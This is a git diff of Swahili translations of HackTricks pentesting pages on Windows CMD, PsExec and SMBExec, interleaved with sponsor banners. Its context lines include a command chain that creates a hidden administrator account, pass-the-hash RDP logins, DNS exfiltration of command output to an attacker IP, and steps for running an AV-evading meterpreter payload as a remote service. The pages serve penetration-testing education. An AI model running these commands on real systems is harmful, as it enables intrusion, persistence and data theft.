Ikiwa unavutiwa na **hacking career** na kuhack yasiyoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa Kipolandi kunahitajika_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -572,8 +584,8 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Msingi wa Win CMD kwa Wapentester
|
||||
# Msingi wa CMD wa Windows kwa Wapiga Hacking
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -15,7 +15,15 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Taarifa za Mfumo
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti mapungufu makubwa, yanayoweza kutumiwa ambayo yana athari halisi za kibiashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya moja kwa moja kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Taarifa za mfumo
|
||||
|
||||
### Taarifa za Toleo na Patches
|
||||
```bash
|
||||
|
@ -42,7 +50,7 @@ Some env variables to highlight:
|
|||
* **USERNAME:** Jina lako la mtumiaji
|
||||
* **HOMEPATH/USERPROFILE:** Katalogi ya nyumbani
|
||||
* **windir:** C:\Windows
|
||||
* **OS**:Windows OS
|
||||
* **OS**:Windos OS
|
||||
* **LOGONSERVER**: Jina la kudhibiti kikoa
|
||||
* **USERDNSDOMAIN**: Jina la kikoa kutumia na DNS
|
||||
* **USERDOMAIN**: Jina la kikoa
|
||||
|
@ -241,7 +249,7 @@ net user hacker Hacker123! /add & net localgroup administrators hacker /add & ne
|
|||
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
|
||||
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49
|
||||
```
|
||||
### Hisa
|
||||
### Kushiriki
|
||||
```bash
|
||||
net view #Get a list of computers
|
||||
net view /all /domain [domainname] #Shares on the domains
|
||||
|
@ -319,7 +327,7 @@ powershell (Get-Content file.txt -Stream ads.txt)
|
|||
# Get error messages from code
|
||||
net helpmsg 32 #32 is the code in that case
|
||||
```
|
||||
### Kupita Uwekaji Mipaka wa Karakteri Nyeusi
|
||||
### Kupita Uwekaji Mipaka ya Karakteri Nyeusi
|
||||
```bash
|
||||
echo %HOMEPATH:~6,-11% #\
|
||||
who^ami #whoami
|
||||
|
@ -351,7 +359,7 @@ sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passi
|
|||
```
|
||||
#### Victim
|
||||
|
||||
**`for /f tokens`** technique: Hii inatuwezesha kutekeleza amri, kupata maneno ya kwanza X ya kila mstari na kuyatumia kupitia DNS kwenda kwa seva yetu.
|
||||
**`for /f tokens`** technique: Hii inatuwezesha kutekeleza amri, kupata maneno ya kwanza X ya kila mstari na kuyatumia kupitia DNS kwenda kwenye seva yetu.
|
||||
```bash
|
||||
for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
|
||||
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
|
||||
|
@ -409,6 +417,15 @@ wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfil
|
|||
# Execute a script stored in an ADS using PowerShell
|
||||
powershell -ep bypass - < c:\temp:ttt
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti mapungufu makubwa, yanayoweza kutumiwa kwa faida na athari halisi za kibiashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya moja kwa moja kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -419,7 +436,7 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,12 +15,16 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## How do they work
|
||||
|
||||
Mchakato umeelezwa katika hatua zilizo hapa chini, ukionyesha jinsi binaries za huduma zinavyoshughulikiwa ili kufikia utekelezaji wa mbali kwenye mashine lengwa kupitia SMB:
|
||||
|
||||
1. **Nakilisha binary ya huduma kwenye ADMIN$ share kupitia SMB** inafanywa.
|
||||
2. **Kuunda huduma kwenye mashine ya mbali** kunafanywa kwa kuelekeza kwenye binary.
|
||||
1. **Nakala ya binary ya huduma kwenye ADMIN$ share kupitia SMB** inafanywa.
|
||||
2. **Uundaji wa huduma kwenye mashine ya mbali** unafanywa kwa kuelekeza kwenye binary.
|
||||
3. Huduma inaanzishwa **kwa mbali**.
|
||||
4. Baada ya kutoka, huduma inasimamishwa, na binary inafutwa.
|
||||
|
||||
|
@ -28,11 +32,11 @@ Mchakato umeelezwa katika hatua zilizo hapa chini, ukionyesha jinsi binaries za
|
|||
|
||||
Tukichukulia kuna payload inayoweza kutekelezwa (iliyoundwa na msfvenom na kufichwa kwa kutumia Veil ili kuepuka kugunduliwa na antivirus), inayoitwa 'met8888.exe', ikiwakilisha payload ya meterpreter reverse_http, hatua zifuatazo zinachukuliwa:
|
||||
|
||||
* **Nakilisha binary**: Executable inanakiliwa kwenye ADMIN$ share kutoka kwa amri ya prompt, ingawa inaweza kuwekwa mahali popote kwenye mfumo wa faili ili kubaki kufichwa.
|
||||
* **Nakala ya binary**: Executable inakopwa kwenye ADMIN$ share kutoka kwa amri ya prompt, ingawa inaweza kuwekwa mahali popote kwenye mfumo wa faili ili kubaki kufichwa.
|
||||
* **Kuunda huduma**: Kutumia amri ya Windows `sc`, ambayo inaruhusu kuuliza, kuunda, na kufuta huduma za Windows kwa mbali, huduma inayoitwa "meterpreter" inaundwa ili kuelekeza kwenye binary iliyopakiwa.
|
||||
* **Kuanza huduma**: Hatua ya mwisho inahusisha kuanzisha huduma, ambayo huenda ikasababisha kosa la "time-out" kwa sababu binary sio binary halisi ya huduma na inashindwa kurudisha nambari ya majibu inayotarajiwa. Kosa hili halina umuhimu kwani lengo kuu ni utekelezaji wa binary.
|
||||
* **Kuanza huduma**: Hatua ya mwisho inahusisha kuanzisha huduma, ambayo itasababisha "time-out" error kwa sababu binary sio binary halisi ya huduma na inashindwa kurudisha msimbo wa majibu unaotarajiwa. Kosa hili halina umuhimu kwani lengo kuu ni utekelezaji wa binary.
|
||||
|
||||
Uangalizi wa mlistener wa Metasploit utaonyesha kuwa kikao kimeanzishwa kwa mafanikio.
|
||||
Uchunguzi wa mlistener wa Metasploit utaonyesha kuwa kikao kimeanzishwa kwa mafanikio.
|
||||
|
||||
[Learn more about the `sc` command](https://technet.microsoft.com/en-us/library/bb490995.aspx).
|
||||
|
||||
|
@ -50,6 +54,10 @@ SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,11 +15,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## How it Works
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Smbexec** ni chombo kinachotumika kwa ajili ya utekelezaji wa amri kwa mbali kwenye mifumo ya Windows, sawa na **Psexec**, lakini kinakwepa kuweka faili zozote za uhalifu kwenye mfumo wa lengo.
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
### Key Points about **SMBExec**
|
||||
**Pata na ripoti udhaifu muhimu, unaoweza kutumiwa kwa faida, wenye athari halisi za kibiashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya moja kwa moja kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Jinsi Inavyofanya Kazi
|
||||
|
||||
**Smbexec** ni zana inayotumika kwa utekelezaji wa amri kwa mbali kwenye mifumo ya Windows, sawa na **Psexec**, lakini inakwepa kuweka faili zozote za uhalifu kwenye mfumo wa lengo.
|
||||
|
||||
### Vidokezo Muhimu Kuhusu **SMBExec**
|
||||
|
||||
- Inafanya kazi kwa kuunda huduma ya muda (kwa mfano, "BTOBTO") kwenye mashine ya lengo ili kutekeleza amri kupitia cmd.exe (%COMSPEC%), bila kuacha binaries zozote.
|
||||
- Licha ya mbinu yake ya siri, inazalisha kumbukumbu za matukio kwa kila amri iliyotekelezwa, ikitoa aina ya "shell" isiyoingiliana.
|
||||
|
@ -46,6 +54,14 @@ FOr further details check [https://blog.ropnop.com/using-credentials-to-own-wind
|
|||
## References
|
||||
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti kuhusu udhaifu muhimu, unaoweza kutumiwa kwa faida ya biashara halisi.** Tumia zana zetu 20+ za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kuongeza mamlaka, na tumia matumizi ya moja kwa moja kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -54,9 +70,9 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,42 +1,49 @@
|
|||
# PsExec/Winexec/ScExec
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## How do they work
|
||||
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Tumia [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) kujenga na **kujiendesha** kwa urahisi kazi zinazotumiwa na zana za jamii **za kisasa zaidi** duniani.\
|
||||
Pata Ufikiaji Leo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
||||
|
||||
## Jinsi zinavyofanya kazi
|
||||
|
||||
Mchakato umeelezwa katika hatua zilizo hapa chini, ukionyesha jinsi binaries za huduma zinavyoshughulikiwa ili kufikia utekelezaji wa mbali kwenye mashine lengwa kupitia SMB:
|
||||
|
||||
1. **Nakili ya binary ya huduma kwenye ADMIN$ share kupitia SMB** inafanywa.
|
||||
2. **Uundaji wa huduma kwenye mashine ya mbali** unafanywa kwa kuelekeza kwenye binary.
|
||||
1. **Kukopi binary ya huduma kwenye ADMIN$ share kupitia SMB** inafanywa.
|
||||
2. **Kuunda huduma kwenye mashine ya mbali** inafanywa kwa kuelekeza kwenye binary.
|
||||
3. Huduma inaanzishwa **kwa mbali**.
|
||||
4. Baada ya kutoka, huduma inasimamishwa, na binary inafutwa.
|
||||
|
||||
### **Mchakato wa Kutekeleza PsExec kwa Mikono**
|
||||
|
||||
Tukichukulia kuwa kuna payload inayoweza kutekelezwa (iliyoundwa na msfvenom na kufichwa kwa kutumia Veil ili kuepuka kugunduliwa na antivirus), inayoitwa 'met8888.exe', ikiwakilisha payload ya meterpreter reverse_http, hatua zifuatazo zinachukuliwa:
|
||||
Kukisia kuna payload inayoweza kutekelezwa (iliyoundwa na msfvenom na kufichwa kwa kutumia Veil ili kuepuka kugunduliwa na antivirus), inayoitwa 'met8888.exe', ikiwakilisha payload ya meterpreter reverse_http, hatua zifuatazo zinachukuliwa:
|
||||
|
||||
- **Nakili binary**: Executable inanakiliwa kwenye ADMIN$ share kutoka kwa amri ya prompt, ingawa inaweza kuwekwa mahali popote kwenye mfumo wa faili ili kubaki kufichwa.
|
||||
- **Kukopi binary**: Executable inakopiwa kwenye ADMIN$ share kutoka kwa amri ya amri, ingawa inaweza kuwekwa mahali popote kwenye mfumo wa faili ili kubaki kufichwa.
|
||||
|
||||
- **Kuunda huduma**: Kutumia amri ya Windows `sc`, ambayo inaruhusu kuuliza, kuunda, na kufuta huduma za Windows kwa mbali, huduma inayoitwa "meterpreter" inaundwa ili kuelekeza kwenye binary iliyopakiwa.
|
||||
|
||||
- **Kuanza huduma**: Hatua ya mwisho inahusisha kuanzisha huduma, ambayo huenda ikasababisha kosa la "time-out" kwa sababu binary sio binary halisi ya huduma na inashindwa kurudisha msimbo wa majibu unaotarajiwa. Kosa hili halina umuhimu kwani lengo kuu ni utekelezaji wa binary.
|
||||
- **Kuanza huduma**: Hatua ya mwisho inahusisha kuanzisha huduma, ambayo itasababisha "time-out" error kwa sababu binary sio binary halisi ya huduma na inashindwa kurudisha msimbo wa majibu unaotarajiwa. Kosa hili halina umuhimu kwani lengo kuu ni utekelezaji wa binary.
|
||||
|
||||
Uchunguzi wa msikilizaji wa Metasploit utaonyesha kuwa kikao kimeanzishwa kwa mafanikio.
|
||||
Uangalizi wa mlistener wa Metasploit utaonyesha kuwa kikao kimeanzishwa kwa mafanikio.
|
||||
|
||||
[Learn more about the `sc` command](https://technet.microsoft.com/en-us/library/bb490995.aspx).
|
||||
[Jifunze zaidi kuhusu amri ya `sc`](https://technet.microsoft.com/en-us/library/bb490995.aspx).
|
||||
|
||||
Pata hatua za kina zaidi katika: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
|
||||
|
@ -52,6 +59,13 @@ SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Tumia [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) kujenga na **kujiendesha** kwa urahisi kazi zinazotumiwa na zana za jamii **zilizoendelea zaidi** duniani.\
|
||||
Pata Ufikiaji Leo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -61,7 +75,7 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue